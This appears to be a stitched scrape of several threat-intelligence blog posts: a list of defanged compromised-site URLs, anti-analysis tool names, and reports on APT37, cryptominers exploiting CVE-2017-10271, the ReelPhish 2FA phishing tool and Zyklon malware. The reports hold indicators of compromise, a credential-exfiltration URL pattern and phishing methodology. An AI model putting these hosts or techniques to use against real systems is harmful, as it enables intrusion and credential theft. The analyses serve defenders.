hxxp://charliewestsecurity[.]co.za//db_template.php

hxxp://beehiveholdingszar[.]co.za//db_template.php

hxxp://analyticalfootball[.]com//db_template.php

hxxp://apiiination[.]com/leadership/db_template.php

hxxps://ahelicoptermom[.]com/wp-includes/db_template.php

hxxp://servicebox[.]co.za//db_template.php

hxxp://globalelectricalandconstruction[.]co.za/wpscripts/db_template.php

hxxps://aquo[.]in//db_template.php

hxxps://www.alfransia[.]com/wp-admin/db_template.php

hxxp://www.icsswaziland[.]com//db_template.php

hxxp://aiko.pro//db_template.php

hxxps://alceharfield[.]com//db_template.php

hxxp://indocraft[.]co.za/test/db_template.php

hxxp://allegiancesecurity[.]org//db_template.php

hxxp://sullivanprimary[.]co.za//db_template.php

hxxp://www.apmequestrian[.]com//db_template.php

hxxps://alphawaves[.]org/wp-admin/db_template.php

hxxp://www.alexandrasternin[.]com/illustration/db_template.php

hxxp://www.daleth[.]co.za//db_template.php

hxxp://jwseshowe[.]co.za/assets/db_template.php

hxxp://winagainstebola[.]com//db_template.php

hxxp://anubandh[.]in//db_template.php

hxxp://www.alexanderhomestead[.]com//db_template.php

hxxp://alfatek-intelligence[.]com//db_template.php

hxxp://www.aprendiendoencasa[.]com/wp-includes/db_template.php

hxxp://alorabrownies[.]com/wp-admin/db_template.php

hxxp://andrasadam[.]com/tothildiko/wp-includes/db_template.php

hxxp://cazochem[.]co.za/cazochem/db_template.php

hxxp://debnoch[.]com/image/db_template.php

hxxp://hmholdings360[.]co.za//db_template.php

hxxp://iinvest4u[.]co.za//db_template.php

hxxp://burgercoetzeeattorneys[.]co.za//db_template.php

hxxp://anngrigphoto[.]com//db_template.php

hxxp://alchemistasonida[.]com//db_template.php

hxxp://anahera[.]biz/admin/db_template.php

hxxp://h-u-i[.]co.za/heiren/db_template.php

hxxp://insta-art[.]co.za//db_template.php

hxxp://muallematsela[.]com//db_template.php

hxxp://aguasdecastilla[.]com/uploads/db_template.php

hxxp://www.arabgamenetwork[.]com//db_template.php

hxxps://arhiepiscopiabucurestilor[.]ro/templates/db_template.php

hxxp://amruthavana[.]com/blog/db_template.php

hxxp://digitalblue[.]co.za//db_template.php

hxxps://www.alvarezarquitectos[.]com//db_template.php

hxxp://buboobioinnovations[.]co.za/wpimages/db_template.php

hxxp://andrewsbisom[.]com//db_template.php

hxxp://www.m-3[.]co.za//db_template.php

hxxp://beesrenovations[.]co.za/images/db_template.php

hxxps://www.apliety[.]co.il/wp-includes/db_template.php

hxxp://alchamelup[.]org/htdocs/db_template.php

hxxp://benonicoc[.]co.za/resources/db_template.php

hxxps://al-mostakbl[.]com//db_template.php

hxxp://alchimiegrafiche[.]net/bbdelteatro/db_template.php

hxxp://andrespazsoldan[.]com//db_template.php

hxxp://in2accounting[.]co.za//db_template.php

hxxp://aipa[.]ca//db_template.php

hxxp://alphabee.fund/PHPMailer_5.2.0/db_template.php

hxxp://arabsdeals[.]com//db_template.php

hxxps://archiotronic[.]com/wp-includes/db_template.php

hxxp://capewindstrading[.]co.za//db_template.php

hxxps://althurayaa[.]com//db_template.php

hxxp://jhphotoedits[.]co.za//db_template.php

hxxp://cloudhub.co.ls/modules/db_template.php

hxxp://apironco[.]com/wp-includes/db_template.php

hxxp://digital-cameras-south-africa[.]co.za/script/db_template.php

hxxp://ahmadhasanat[.]com//db_template.php

hxxp://alexrocchi[.]com//db_template.php

hxxp://aljaadi[.]com//db_template.php

hxxps://www.engeltjieakademie[.]co.za//db_template.php

hxxp://annabelle[.]nl/next/db_template.php

hxxp://juniorad[.]co.za/vendor/db_template.php

hxxp://animationpulse[.]net//db_template.php

hxxp://angloglot[.]com//db_template.php

hxxp://agricolavicuna.cl//db_template.php

hxxp://alexelgy[.]com/allaccess/db_template.php

hxxp://www.centreforgovernance[.]uk//db_template.php

hxxp://www.aliandconsulting[.]com//db_template.php

hxxp://balaateen[.]co.za/less/db_template.php

hxxp://aleksicdunja[.]com//db_template.php

hxxp://arestihome[.]com//db_template.php

hxxp://am1int.fcomet[.]com/wp1/db_template.php

hxxp://anet-international-group[.]com/shop/db_template.php

hxxp://courtesydriving[.]co.za/js/db_template.php

hxxp://annaplebanek[.]com//db_template.php

hxxp://agencijazemil[.]com//db_template.php

hxxp://airminumtiro[.]com//db_template.php

hxxp://www.androidwikihow[.]com//db_template.php

hxxp://alisabyfinna[.]com//db_template.php

hxxp://rma-law[.]co.za//db_template.php

hxxp://amari[.]ro/components/db_template.php

hxxp://anxiousandunstoppable[.]com//db_template.php

hxxp://www.buhlebayoacademy[.]com//db_template.php

hxxp://arabellajo[.]com/wp/wp-includes/db_template.php

hxxp://blackthorn[.]co.za//db_template.php

hxxp://alaqaba[.]com/dnsarabia[.]com/db_template.php

hxxp://airesis.blog/wp-admin/db_template.php

hxxp://www.aptibet[.]org//db_template.php

hxxp://alecattic[.]com/wp-includes/db_template.php

hxxp://anglero[.]com//db_template.php

hxxp://getabletravel[.]co.za/wpscripts/db_template.php

hxxp://www.allwestdental[.]com/wp-includes/db_template.php

hxxp://printernet[.]co.za//db_template.php

hxxp://genesisbs[.]co.za//db_template.php

hxxp://allsporthealthandfitness[.]com//db_template.php

hxxp://www.humorcarbons[.]com//db_template.php

hxxp://intelligentprotection[.]co.za//db_template.php

hxxp://amazethings[.]com//db_template.php

hxxp://incoso[.]co.za/images/db_template.php

hxxp://www.antoanetapalikarska[.]com//db_template.php

hxxps://www.alteaparadise[.]com/wp-includes/db_template.php

hxxp://amirmenahem[.]com//db_template.php

hxxp://isound[.]co.za//db_template.php

hxxp://www.alestilorachel[.]com//db_template.php

hxxp://alcfm[.]net/wp-admin/db_template.php

hxxp://www.acer-parts[.]co.za//db_template.php

hxxp://www.gsmmid[.]com//db_template.php

hxxp://skhaleni[.]co.za//db_template.php

hxxps://amiici.vision//db_template.php

hxxps://andihaas[.]at/wp-includes/db_template.php

hxxp://www.albertaprimebeef[.]com//db_template.php

hxxps://www.appster[.]it/wp-includes/db_template.php

hxxp://amofoundation[.]org/wp-includes/db_template.php

hxxp://iqra[.]co.za/pub/db_template.php

hxxp://thecompasssolutions[.]co.za//db_template.php

hxxp://archwaycarpetscrm[.]co[.]uk//db_template.php

hxxp://iggleconsulting[.]com//db_template.php

hxxps://angel-blanco[.]net/wp-includes/db_template.php

hxxps://anotherdayinparadise[.]ca//db_template.php

hxxp://www.bitp[.]co.za//db_template.php

hxxp://cupboardcure[.]co.za/vendor/db_template.php

hxxp://all2wedding[.]com/wp-includes/db_template.php

hxxp://allianz[.]com.pe/wp-admin/db_template.php

hxxp://amiehepperlin[.]com//db_template.php

hxxps://www.amighini[.]it/webservice/db_template.php

hxxp://broken-arrow[.]co.za//db_template.php

hxxp://www.ihlosiqs-pm[.]co.za//db_template.php

hxxp://alisimple[.]si/wp-includes/db_template.php

hxxp://allthat[.]social//db_template.php

hxxp://www.amphibiblechurch[.]com//db_template.php

hxxp://bestencouragementwords[.]com//db_template.php

hxxp://alayhamtechnologies[.]com//db_template.php

hxxps://alaskanharvestseafood[.]com/backup/db_template.php

hxxps://www.air-mag[.]ro//db_template.php

hxxp://get-paid-for-online-survey[.]com//db_template.php

hxxp://www.antc[.]ch/wp-includes/db_template.php

hxxp://firstchoiceproperties[.]co.za//db_template.php

hxxp://habibtextiles[.]pk//db_template.php

hxxp://fsproperties[.]co.za/engine1/db_template.php

hxxp://diegemmerkat[.]co.za//db_template.php

hxxp://molepetravel.co.ls//db_template.php

hxxp://mmetl[.]co.za//db_template.php

hxxp://altrablog[.]com//db_template.php

hxxp://abrahamseed[.]co.za//db_template.php

hxxp://www.amerindgen[.]com/author/admin1/db_template.php

hxxp://altcoinaddict[.]com//db_template.php

hxxp://iiee.edu[.]pk//db_template.php

hxxp://cmhts[.]co.za/resources/db_template.php

hxxp://domesticguardians[.]co.za/Banner/db_template.php

hxxps://amishcountryfurnishings[.]com//db_template.php

hxxps://allday[.]gr//db_template.php

hxxp://www.alinn-u-yin[.]com//db_template.php

hxxps://www.allin-chain[.]com//db_template.php

hxxps://www.anatapackaging[.]com/vendors/db_template.php

hxxp://alexcelts[.]com/wp/db_template.php

hxxp://www.allstylus[.]com.br//db_template.php

hxxp://www.algom-law[.]com//db_template.php

hxxp://ambiances-toiles[.]fr//db_template.php

Appendix

Security Tools Checked on the Machine

win32_remote

win64_remote64

ollydbg

ProcessHacker

tcpview

autoruns

autorunsc

filemon

procmon

regmon

procexp

idaq

idaq64

ImmunityDebugger

Wireshark

dumpcap

HookExplorer

ImportREC

PETools

LordPE

dumpcap

SysInspector

proc_analyzer

sysAnalyzer

sniff_hit

windbg

joeboxcontrol

joeboxserver

APT37 (Reaper): The Overlooked North Korean Actor

On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper).

Our analysis of APT37’s recent activity reveals that the group’s operations are expanding in scope and sophistication, with a toolset that includes access to zero-day vulnerabilities and wiper malware. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123.

Read our report, APT37 (Reaper): The Overlooked North Korean Actor, to learn more about our assessment that this threat actor is working on behalf of the North Korean government, as well as various other details about their operations:

  • Targeting: Primarily South Korea – though also Japan, Vietnam and the Middle East – in various industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive, and healthcare.
  • Initial Infection Tactics: Social engineering tactics tailored specifically to desired targets, strategic web compromises typical of targeted cyber espionage operations, and the use of torrent file-sharing sites to distribute malware more indiscriminately.
  • Exploited Vulnerabilities: Frequent exploitation of vulnerabilities in Hangul Word Processor (HWP), as well as Adobe Flash. The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802), and the ability to incorporate them into operations.
  • Command and Control Infrastructure: Compromised servers, messaging platforms, and cloud service providers to avoid detection. The group has shown increasing sophistication by improving their operational security over time.
  • Malware: A diverse suite of malware for initial intrusion and exfiltration. Along with custom malware used for espionage purposes, APT37 also has access to destructive malware.

More information on this threat actor is found in our report, APT37 (Reaper): The Overlooked North Korean Actor. You can also register for our upcoming webinar for additional insights into this group.

CVE-2017-10271 Used to Deliver CryptoMiners: An Overview of Techniques Used Post-Exploitation and Pre-Mining

Introduction

FireEye researchers recently observed threat actors abusing CVE-2017-10271 to deliver various cryptocurrency miners.

CVE-2017-10271 is a known input validation vulnerability that exists in the WebLogic Server Security Service (WLS Security) in Oracle WebLogic Server versions 12.2.1.2.0 and prior, and attackers can exploit it to remotely execute arbitrary code. Oracle released a Critical Patch Update that reportedly fixes this vulnerability. Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors.

FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017. Attackers then leveraged this vulnerability to download cryptocurrency miners in victim environments.

We saw evidence of organizations located in various countries – including the United States, Australia, Hong Kong, United Kingdom, India, Malaysia, and Spain, as well as those from nearly every industry vertical – being impacted by this activity. Actors involved in cryptocurrency mining operations mainly exploit opportunistic targets rather than specific organizations. This coupled with the diversity of organizations potentially affected by this activity suggests that the external targeting calculus of these attacks is indiscriminate in nature.

The recent cryptocurrency boom has resulted in a growing number of operations – employing diverse tactics – aimed at stealing cryptocurrencies. The idea that these cryptocurrency mining operations are less risky, along with the potentially nice profits, could lead cyber criminals to begin shifting away from ransomware campaigns.

Tactic #1: Delivering the miner directly to a vulnerable server

Some tactics we've observed involve exploiting CVE-2017-10271, leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1), and executing it using ShellExecute().


Figure 1: Downloading the payload directly

Tactic #2: Utilizing PowerShell scripts to deliver the miner

Other tactics involve the exploit delivering a PowerShell script, instead of downloading the executable directly (Figure 2).


Figure 2: Exploit delivering PowerShell script

This script has the following functionalities:

  • Downloading miners from remote servers


Figure 3: Downloading cryptominers

As shown in Figure 3, the .ps1 script tries to download the payload from the remote server to a vulnerable server.

  • Creating scheduled tasks for persistence


Figure 4: Creation of scheduled task

  • Deleting scheduled tasks of other known cryptominers


Figure 5: Deletion of scheduled tasks related to other miners

In Figure 4, the cryptominer creates a scheduled task with name “Update service for Oracle products1”.  In Figure 5, a different variant deletes this task and other similar tasks after creating its own, “Update service for Oracle productsa”.  

From this, it’s quite clear that different attackers are fighting over the resources available in the system.

  • Killing processes matching certain strings associated with other cryptominers


Figure 6: Terminating processes directly


Figure 7: Terminating processes matching certain strings

Similar to scheduled tasks deletion, certain known mining processes are also terminated (Figure 6 and Figure 7).

  • Connects to mining pools with wallet key


Figure 8: Connection to mining pools

The miner is then executed with different flags to connect to mining pools (Figure 8). Some of the other observed flags are: -a for algorithm, -k for keepalive to prevent timeout, -o for URL of mining server, -u for wallet key, -p for password of mining server, and -t for limiting the number of miner threads.

  • Limiting CPU usage to avoid suspicion


Figure 9: Limiting CPU Usage

To avoid suspicion, some attackers are limiting the CPU usage of the miner (Figure 9).

Tactic #3: Lateral movement across Windows environments using Mimikatz and EternalBlue

Some tactics involve spreading laterally across a victim’s environment using dumped Windows credentials and the EternalBlue vulnerability (CVE-2017-0144).

The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server. It looks at every network adapter, aggregating all destination IPs of established non-loopback network connections. Every IP address is then tested with extracted credentials and a credential-based execution of PowerShell is attempted that downloads and executes the malware from the C2 server on the target machine. This variant maintains persistence via WMI (Windows Management Instrumentation).

The malware also has the capability to perform a Pass-the-Hash attack with the NTLM information derived from Mimikatz in order to download and execute the malware in remote systems.

Additionally, the malware exfiltrates stolen credentials to the attacker via an HTTP GET request to: 'http://<C2>:8000/api.php?data=<credential data>'.

If the lateral movement with credentials fails, then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue, and uses it to spread to that host.

After all network derived IPs have been processed, the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host.

Tactic #4: Scenarios observed in Linux OS

We’ve also observed this vulnerability being exploited to deliver shell scripts (Figure 10) that have functionality similar to the PowerShell scripts.


Figure 10: Delivery of shell scripts

The shell script performs the following activities:

  • Attempts to kill already running cryptominers


Figure 11: Terminating processes matching certain strings

  • Downloads and executes cryptominer malware


Figure 12: Downloading CryptoMiner

  • Creates a cron job to maintain persistence


Figure 13: Cron job for persistence

  • Tries to kill other potential miners to hog the CPU usage


Figure 14: Terminating other potential miners

The function shown in Figure 14 is used to find processes that have high CPU usage and terminate them. This terminates other potential miners and maximizes the utilization of resources.

Conclusion

Use of cryptocurrency mining malware is a popular tactic leveraged by financially-motivated cyber criminals to make money from victims. We’ve observed one threat actor mining around 1 XMR/day, demonstrating the potential profitability and reason behind the recent rise in such attacks. Additionally, these operations may be perceived as less risky when compared to ransomware operations, since victims may not even know the activity is occurring beyond the slowdown in system performance.

Notably, cryptocurrency mining malware is being distributed using various tactics, typically in an opportunistic and indiscriminate manner so cyber criminals will maximize their outreach and profits.

FireEye HX, being a behavior-based solution, is not affected by cryptominer tricks. FireEye HX detects these threats at the initial level of the attack cycle, when the attackers attempt to deliver the first stage payload or when the miner tries to connect to mining pools.

At the time of writing, FireEye HX detects this activity with the following indicators:

Detection Name

POWERSHELL DOWNLOADER (METHODOLOGY)

MONERO MINER (METHODOLOGY)

MIMIKATZ (CREDENTIAL STEALER)

Indicators of Compromise

MD5

Name

3421A769308D39D4E9C7E8CAECAF7FC4

cranberry.exe/logic.exe

B3A831BFA590274902C77B6C7D4C31AE

xmrig.exe/yam.exe

26404FEDE71F3F713175A3A3CEBC619B

1.ps1

D3D10FAA69A10AC754E3B7DDE9178C22

2.ps1

9C91B5CF6ECED54ABB82D1050C5893F2

info3.ps1

3AAD3FABF29F9DF65DCBD0F308FF0FA8

info6.ps1

933633F2ACFC5909C83F5C73B6FC97CC

lower.css

B47DAF937897043745DF81F32B9D7565

lib.css

3542AC729035C0F3DB186DDF2178B6A0

bootstrap.css

Thanks to Dileep Kumar Jallepalli and Charles Carmakal for their help in the analysis.

ReelPhish: A Real-Time Two-Factor Phishing Tool

Social Engineering and Two-Factor Authentication

Social engineering campaigns are a constant threat to businesses because they target the weakest chain in security: people. A typical attack would capture a victim’s username and password and store it for an attacker to reuse later. Two-Factor Authentication (2FA) or Multi-Factor Authentication (MFA) is commonly seen as a solution to these threats.

2FA adds an extra layer of authentication on top of the typical username and password. Two common 2FA implementations are one-time passwords and push notifications. One-time passwords are generated by a secondary device, such as a hard token, and tied to a specific user. These passwords typically expire within 30 to 60 seconds and cannot be reused. Push notifications involve sending a prompt to a user’s mobile device and requiring the user to confirm their login attempt. Both of these implementations protect users from traditional phishing campaigns that only capture username and password combinations.

Real-Time Phishing

While 2FA has been strongly recommended by security professionals for both personal and commercial applications, it is not an infallible solution. 2FA implementations have been successfully defeated using real-time phishing techniques. These phishing attacks involve interaction between the attacker and victims in real time.

A simple example would be a phishing website that prompts a user for their one-time password in addition to their username and password. Once a user completes authentication on the phishing website, they are presented with a generic “Login Successful” page and the one-time password remains unused but captured. At this point, the attacker has a brief window of time to reuse the victim’s credentials before expiration.

Social engineering campaigns utilizing these techniques are not new. There have been reports of real-time phishing in the wild as early as 2010. However, these types of attacks have been largely ignored due to the perceived difficulty of launching such attacks. This article aims to change that perception, bring awareness to the problem, and incite new solutions.

Explanation of Tool

To improve social engineering assessments, we developed a tool – named ReelPhish – that simplifies the real-time phishing technique. The primary component of the phishing tool is designed to be run on the attacker’s system. It consists of a Python script that listens for data from the attacker’s phishing site and drives a locally installed web browser using the Selenium framework. The tool is able to control the attacker’s web browser by navigating to specified web pages, interacting with HTML objects, and scraping content.

The secondary component of ReelPhish resides on the phishing site itself. Code embedded in the phishing site sends data, such as the captured username and password, to the phishing tool running on the attacker’s machine. Once the phishing tool receives information, it uses Selenium to launch a browser and authenticate to the legitimate website. All communication between the phishing web server and the attacker’s system is performed over an encrypted SSH tunnel.

Victims are tracked via session tokens, which are included in all communications between the phishing site and ReelPhish. This token allows the phishing tool to maintain states for authentication workflows that involve multiple pages with unique challenges. Because the phishing tool is state-aware, it is able to send information from the victim to the legitimate web authentication portal and vice versa.

Examples

We have successfully used ReelPhish and this methodology on numerous Mandiant Red Team engagements. The most common scenario we have come across is an externally facing VPN portal with two-factor authentication. To perform the social engineering attack, we make a copy of the real VPN portal’s HTML, JavaScript, and CSS. We use this code to create a phishing site that appears to function like the original.

To facilitate our real-time phishing tool, we embed server-side code on the phishing site that communicates with the tool running on the attacker machine. We also set up a SSH tunnel to the phishing server. When the authentication form on the phishing site is submitted, all submitted credentials are sent over the tunnel to the tool on the attacker’s system. The tool then starts a new web browser instance on the attacker’s system and submits credentials on the real VPN portal. Figure 1 shows this process in action.


Figure 1: ReelPhish Flow Diagram

We have seen numerous variations of two-factor authentication on VPN portals. In some instances, a token is passed in a “secondary password” field of the authentication form itself. In other cases, the user must respond to a push request on a mobile phone. A user is likely to accept an incoming push request after submitting credentials if the phishing site behaved identically to the real site.

In some situations, we have had to develop more advanced phishing sites that can handle multiple authentication pages and also pass information back and forth between the phishing web server and the tool running on the attacking machine. Our script is capable of handling these scenarios by tracking a victim’s session on the phishing site and associating it with a particular web browser instance running on the attacker’s system. Figure 1 shows a general overview of how our tool would function within an attack scenario.

We are publicly releasing the tool on the FireEye GitHub Repository. Feedback, pull requests, and issues can also be submitted to the Git repository.

Conclusion

Do not abandon 2FA; it is not a perfect solution, but it does add a layer of security. 2FA is a security mechanism that may fail like any other, and organizations must be prepared to mitigate the impact of such a failure.

Configure all services protected by 2FA to minimize attacker impact if the attacker successfully bypasses the 2FA protections. Lowering maximum session duration will limit how much time an attacker has to compromise assets. Enforcing a maximum of one concurrent session per user account will prevent attackers from being active at the same time as the victim. If the service in question is a VPN, implement strict network segmentation. VPN users should only be able to access the resources necessary for their respective roles and responsibilities. Lastly, educate users to recognize, avoid, and report social engineering attempts.

By releasing ReelPhish, we at Mandiant hope to highlight the need for multiple layers of security and discourage the reliance on any single security mechanism. This tool is meant to aid security professionals in performing a thorough penetration test from beginning to end.

During our Red Team engagements at Mandiant, getting into an organization’s internal network is only the first step. The tool introduced here aids in the success of this first step. However, the overall success of the engagement varies widely based on the target’s internal security measures. Always work to assess and improve your security posture as a whole. Mandiant provides a variety of services that can assist all types of organizations in both of these activities.

Attacks Leveraging Adobe Zero-Day (CVE-2018-4878) – Threat Attribution, Attack Scenario and Recommendations

On Jan. 31, KISA (KrCERT) published an advisory about an Adobe Flash zero-day vulnerability (CVE-2018-4878) being exploited in the wild. On Feb. 1, Adobe issued an advisory confirming the vulnerability exists in Adobe Flash Player 28.0.0.137 and earlier versions, and that successful exploitation could potentially allow an attacker to take control of the affected system.

FireEye began investigating the vulnerability following the release of the initial advisory from KISA.

Threat Attribution

We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper. We have observed TEMP.Reaper operators directly interacting with their command and control infrastructure from IP addresses assigned to the STAR-KP network in Pyongyang. The STAR-KP network is operated as a joint venture between the North Korean Government's Post and Telecommunications Corporation and Thailand-based Loxley Pacific. Historically, the majority of their targeting has been focused on the South Korean government, military, and defense industrial base; however, they have expanded to other international targets in the last year. They have taken interest in subject matter of direct importance to the Democratic People's Republic of Korea (DPRK) such as Korean unification efforts and North Korean defectors.

In the past year, FireEye iSIGHT Intelligence has discovered newly developed wiper malware being deployed by TEMP.Reaper, which we detect as RUHAPPY. While we have observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks, we have not thus far observed TEMP.Reaper use their wiper malware actively against any targets.

Attack Scenario

Analysis of the exploit chain is ongoing, but available information points to the Flash zero-day being distributed in a malicious document or spreadsheet with an embedded SWF file. Upon opening and successful exploitation, a decryption key for an encrypted embedded payload would be downloaded from compromised third party websites hosted in South Korea. Preliminary analysis indicates that the vulnerability was likely used to distribute the previously observed DOGCALL malware to South Korean victims.

Recommendations

Adobe stated that it plans to release a fix for this issue the week of Feb. 5, 2018. Until then, we recommended that customers use extreme caution, especially when visiting South Korean sites, and avoid opening suspicious documents, especially Excel spreadsheets. Due to the publication of the vulnerability prior to patch availability, it is likely that additional criminal and nation state groups will attempt to exploit the vulnerability in the near term.

FireEye Solutions Detections

FireEye Email Security, Endpoint Security with Exploit Guard enabled, and Network Security products will detect the malicious document natively. Email Security and Network Security customers who have enabled the riskware feature may see additional alerts based on suspicious content embedded in malicious documents. Customers can find more information in our FireEye Customer Communities post.

Microsoft Office Vulnerabilities Used to Distribute Zyklon Malware in Recent Campaign

Introduction

FireEye researchers recently observed threat actors leveraging relatively new vulnerabilities in Microsoft Office to spread Zyklon HTTP malware. Zyklon has been observed in the wild since early 2016 and provides myriad sophisticated capabilities.

Zyklon is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal. The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so. The malware can download several plugins, some of which include features such as cryptocurrency mining and password recovery, from browsers and email software. Zyklon also provides a very efficient mechanism to monitor the spread and impact.

Infection Vector

We have observed this recent wave of Zyklon malware being delivered primarily through spam emails. The email typically arrives with an attached ZIP file containing a malicious DOC file (Figure 1 shows a sample lure).

The following industries have been the primary targets in this campaign:

  • Telecommunications
  • Insurance
  • Financial Services


Figure 1: Sample lure documents

Attack Flow

  1. Spam email arrives in the victim’s mailbox as a ZIP attachment, which contains a malicious DOC file.
  2. The document files exploit at least three known vulnerabilities in Microsoft Office, which we discuss in the Infection Techniques section. Upon execution in a vulnerable environment, the PowerShell based payload takes over.
  3. The PowerShell script is responsible for downloading the final payload from C2 server to execute it.

A visual representation of the attack flow and execution chain can be seen in Figure 2.


Figure 2: Zyklon attack flow

Infection Techniques

CVE-2017-8759

This vulnerability was discovered by FireEye in September 2017, and it is a vulnerability we have observed being exploited in the wild.

The DOC file contains an embedded OLE Object that, upon execution, triggers the download of an additional DOC file from the stored URL (seen in Figure 3).


Figure 3: Embedded URL in OLE object

CVE-2017-11882

Similarly, we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office. Upon opening the malicious DOC attachment, an additional download is triggered from a stored URL within an embedded OLE Object (seen in Figure 4).


Figure 4: Embedded URL in OLE object


Figure 5: HTTP GET request to download the next level payload

The downloaded file, doc.doc, is XML-based and contains a PowerShell command (shown in Figure 6) that subsequently downloads the binary Pause.ps1.


Figure 6: PowerShell command to download the Pause.ps1 payload

Dynamic Data Exchange (DDE)

Dynamic Data Exchange (DDE) is the interprocess communication mechanism that is exploited to perform remote code execution. With the help of a PowerShell script (shown in Figure 7), the next payload (Pause.ps1) is downloaded.


Figure 7: DDE technique used to download the Pause.ps1 payload

One of the unique approaches we have observed is the use of dot-less IP addresses (example: hxxp://258476380).

Figure 8 shows the network communication of the Pause.ps1 download.


Figure 8: Network communication to download the Pause.ps1 payload

Zyklon Delivery

In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded (as seen in Figure 8).

The Pause.ps1 script is responsible for resolving the APIs required for code injection. It also contains the injectable shellcode. The APIs contain VirtualAlloc(), memset(), and CreateThread(). Figure 9 shows the decoded Base64 code.


Figure 9: Base64 decoded Pause.ps1

The injected code is responsible for downloading the final payload from the server (see Figure 10). The final stage payload is a PE executable compiled with .Net framework.


Figure 10: Network traffic to download final payload (words.exe)

Once executed, the file performs the following activities:

  1. Drops a copy of itself in %AppData%\svchost.exe\svchost.exe and drops an XML file, which contains configuration information for Task Scheduler (as shown in Figure 11).
  2. Unpacks the code in memory via process hollowing. The MSIL file contains the packed core payload in its .Net resource section.
  3. The unpacked code is Zyklon.


Figure 11: XML configuration file to schedule the task

The Zyklon malware first retrieves the external IP address of the infected machine using the following:

  • api.ipify[.]org
  • ip.anysrc[.]net
  • myexternalip[.]com
  • whatsmyip[.]com

The Zyklon executable contains another encrypted file in its .Net resource section named tor. This file is decrypted and injected into an instance of InstallUtiil.exe, and functions as a Tor anonymizer.

Command & Control Communication

The C2 communication of Zyklon is proxied through the Tor network. The malware sends a POST request to the C2 server. The C2 server is appended by the gate.php, which is stored in file memory. The parameter passed to this request is getkey=y. In response to this request, the C2 server responds with a Base64-encoded RSA public key (seen in Figure 12).


Figure 12: Zyklon public RSA key

After the connection is established with the C2 server, the malware can communicate with its control server using the commands shown in Table 1.

Command

Action

sign

Requests system information

settings

Requests settings from C2 server

logs

Uploads harvested passwords

wallet

Uploads harvested cryptocurrency wallet data

proxy

Indicates SOCKS proxy port opened

miner

Cryptocurrency miner commands

error

Reports errors to C2 server

ddos

DDoS attack commands

Table 1: Zyklon accepted commands

The following figures show the initial request and subsequent server response for the “settings” (Figure 13), “sign” (Figure 14), and “ddos” (Figure 15) commands.


Figure 13: Zyklon issuing “settings” command and subsequent server response


Figure 14: Zyklon issuing “sign” command and subsequent server response


Figure 15: Zyklon issuing “ddos” command and subsequent server response

Plugin Manager

Zyklon downloads number of plugins from its C2 server. The plugin URL is stored in file in following format:

  • /plugin/index.php?plugin=<Plugin_Name>

The following plugins are found in the memory of the Zyklon malware:

  • /plugin/index.php?plugin=cuda
  • /plugin/index.php?plugin=minerd
  • /plugin/index.php?plugin=sgminer
  • /plugin/index.php?plugin=socks
  • /plugin/index.php?plugin=tor
  • /plugin/index.php?plugin=games
  • /plugin/index.php?plugin=software
  • /plugin/index.php?plugin=ftp
  • /plugin/index.php?plugin=email
  • /plugin/index.php?plugin=browser

The downloaded plugins are injected into: Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe.

Additional Features

The Zyklon malware offers the following additional capabilities (via plugins):

Browser Password Recovery

Zyklon HTTP can recover passwords from popular web browsers, including:

  • Google Chrome
  • Mozilla Firefox
  • Internet Explorer
  • Opera Browser
  • Chrome Canary/SXS
  • CoolNovo Browser
  • Apple Safari
  • Flock Browser
  • SeaMonkey Browser
  • SRWare Iron Browser
  • Comodo Dragon Browser
FTP Password Recovery

Zyklon currently supports FTP password recovery from the following FTP applications:

  • FileZilla
  • SmartFTP
  • FlashFXP
  • FTPCommander
  • Dreamweaver
  • WS_FTP
Gaming Software Key Recovery

Zyklon can recover PC Gaming software keys from the following games:

  • Battlefield
  • Call of Duty
  • FIFA
  • NFS
  • Age of Empires
  • Quake
  • The Sims
  • Half-Life
  • IGI
  • Star Wars
Email Password Recovery

Zyklon may also collect email passwords from following applications:

  • Microsoft Outlook Express
  • Microsoft Outlook 2002/XP/2003/2007/2010/2013
  • Mozilla Thunderbird
  • Windows Live Mail 2012
  • IncrediMail, Foxmail v6.x - v7.x
  • Windows Live Messenger
  • MSN Messenger
  • Google Talk
  • GMail Notifier
  • PaltalkScene IM
  • Pidgin (Formerly Gaim) Messenger
  • Miranda Messenger
  • Windows Credential Manager
License Key Recovery

The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero.

Socks5 Proxy

Zyklon features the ability to establish a reverse Socks5 proxy server on infected host machines.

Hijack Clipboard Bitcoin Address

Zyklon has the ability to hijack the clipboard, and replaces the user’s copied bitcoin address with an address served up by the actor’s control server.

Zyklon Pricing

Researchers identified different versions of Zyklon HTTP being advertised in a popular underground marketplace for the following prices:

  • Normal build: $75 (USD)
  • Tor-enabled build: $125 (USD)
  • Rebuild/Updates: $15 (USD)
  • Payment Method: Bitcoin (BTC)

Conclusion

Threat actors incorporating recently discovered vulnerabilities in popular software – Microsoft Office, in this case – only increases the potential for successful infections. These types of threats show why it is very important to ensure that all software is fully updated. Additionally, all industries should be on alert, as it is highly likely that the threat actors will eventually move outside the scope of their current targeting.

At this time of writing, FireEye Multi Vector Execution (MVX) engine is able to recognize and block this threat. Table 2 lists the current detection and blocking capabilities by product.

Detection Name

